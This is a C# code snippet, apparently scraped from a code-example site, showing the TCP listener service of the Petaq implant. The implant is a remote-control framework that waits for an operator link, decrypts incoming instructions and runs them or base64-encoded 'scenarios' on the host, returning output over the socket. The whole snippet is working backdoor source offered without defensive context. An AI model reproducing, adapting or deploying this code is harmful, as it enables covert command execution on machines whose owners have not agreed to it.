Example #1
0
        public override void Start()
        {
            try
            {
                // Setting up the variables for listener
                ListenPort = int.Parse(Program.configuration["LISTENPORT"]);

                // Setting the service status
                Status = true;

                // Get a new session link.

                while (Status)
                {
                    // Listener is configuring
                    TCPService = new TcpListener(IPAddress.Any, ListenPort);

                    // Start listening for client requests.
                    TCPService.Start();

                    Console.Error.WriteLine("Waiting for linking... ");

                    // Perform a blocking call to accept requests.
                    TCPClient = TCPService.AcceptTcpClient();

                    Console.Error.WriteLine("The implant is being linked.");
                    LinkStatus = true;

                    Console.Error.WriteLine("Stopping the service as the implant is being linked.");
                    // Stopping the listener as the implant is being linked.
                    TCPService.Stop();

                    // Read stream as string and process
                    while (LinkStatus)
                    {
                        // Get a stream object for reading and writing
                        NetworkStream stream = TCPClient.GetStream();

                        // Creating StreamString class for string based communications
                        TCPClientStream = new StreamString(stream);

                        //Instruction received from the TCP client...
                        string instruction = TCPClientStream.ReadString();
                        instruction = Common.Decrypt(instruction);

                        // If scenario is requested call scenario, otherwise run instructions
                        if (instruction.StartsWith("scenario"))
                        {
                            if (Regex.Split(instruction, " ").Length < 3)
                            {
                                // Set the socket as the Console output
                                Program.consoleIO = Console.Out;
                                Console.SetOut(new SocketWriter());
                                // Raise the error
                                Console.WriteLine("Usage: scenario file filepath");
                            }
                            else
                            {
                                // scenario instruction format:
                                // scenario file BASE64STRING
                                string scenario_b64 = Regex.Split(instruction, " ")[2];
                                // send the Base64 encoded scenario to run
                                PetaqImplant.Scenario.Run(scenario_b64);
                            }
                        }
                        else
                        {
                            // run the instruction received
                            PetaqImplant.Instructions.Instruct(instruction, new SocketWriter());
                        }
                    }
                }
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("TCP Service Exception on Receive: " + e);
                Status     = false;
                LinkStatus = false;
            }
            finally
            {
                Stop();
            }
        }